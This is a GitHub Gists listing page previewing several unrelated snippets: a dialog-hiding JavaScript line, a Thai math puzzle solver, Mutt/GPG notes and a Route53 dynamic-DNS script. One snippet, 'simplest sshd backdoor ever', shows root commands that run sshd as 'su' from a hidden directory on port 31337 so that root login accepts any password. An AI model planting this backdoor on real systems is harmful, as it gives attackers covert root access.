Skip to content

Instantly share code, notes, and snippets.

View mestizo's full-sized avatar

Patrick Harrison mestizo

View GitHub Profile
setInterval( () => { document.querySelectorAll('.subscribe-dialog').forEach( (e) => { e.style.display = 'none' }); document.querySelectorAll('.subscribe-dialog-scroll-modal-scroll-capture').forEach( (e) => { e.style.display = 'none' }) }, 1);
@maipatana
maipatana / grade_4_math_solver.py
Created August 21, 2019 02:14
โจทย์เลข ป.4
import random
answers = []
def main():
_ = 'AFBF CGHB DAFG AEAB BCDC'
temp = {'A':'0', 'B':'0', 'C':'0', 'D':'0', 'E':'0', 'F':'0', 'G':'0', 'H':'0'}
pool = ['0','1','2','3','4','5','6','7','8','9']
for i in temp.keys():
@bnagy
bnagy / gpgmutt.md
Last active March 30, 2024 07:52
Mutt, Gmail and GPG

GPG / Mutt / Gmail

About

This is a collection of snippets, not a comprehensive guide. I suggest you start with Operational PGP.

Here is an incomplete list of things that are different from other approaches:

  • I don't use keyservers. Ever.
  • Yes, I use Gmail instead of some bespoke hipster freedom service
simplest sshd backdoor ever.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD BSDPWNED 9.0-RELEASE ...
BSDPWNED# mkdir /tmp/" "
BSDPWNED# ln -sf /usr/sbin/sshd /tmp/" "/su
BSDPWNED# /tmp/" "/su -oPort=31337
BSDPWNED# ssh -lroot -p31337 0
root@0's password: <any password>
@sajal
sajal / dns_update.py
Created January 6, 2012 20:16
DYI dynamic DNS using python/boto
from boto.route53.connection import Route53Connection
import urllib2
from syslog import syslog
# ======= CONFIG ========
AWS_ACCESS_KEY_ID = 'XXXXXXXXXXXXXXXXXX'
AWS_SECRET_ACCESS_KEY = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX'
DDNSNAME = "foo.example.com." # Should end in period
ZONEID = "XXXXXXXXX"
# ===== END CONFIG ======